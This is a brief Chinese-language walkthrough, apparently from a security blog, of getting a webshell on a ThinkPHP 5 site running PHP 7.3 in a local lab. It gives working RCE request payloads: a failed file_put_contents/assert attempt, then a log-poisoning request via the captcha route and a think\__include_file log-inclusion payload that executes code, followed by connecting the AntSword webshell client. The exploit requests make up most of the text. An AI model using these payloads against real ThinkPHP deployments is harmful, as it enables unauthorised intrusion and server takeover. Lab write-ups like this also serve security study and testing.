tp5+php7.3 getshell
前言
以下为本地环境搭建
信息收集
报错拿到cms信息,windows+iis+tp5
web打点
thinkphp RCE漏洞还是挺多的,直接上tp检测神器
能执行phpinfo确实存在RCE,拿到真实路径,得到php为7.3
直接使用工具写shell失败
exp写shell失败,php7.1以上无法使用assert
1 | s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert |
getshell
google了一下,找到日志写shell方法
将shell写入日志
1 | /index.php?s=captcha |
包含日志文件getshell,成功执行phpinfo
1 | _method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202207/21.log&shell=phpinfo(); |
上蚁剑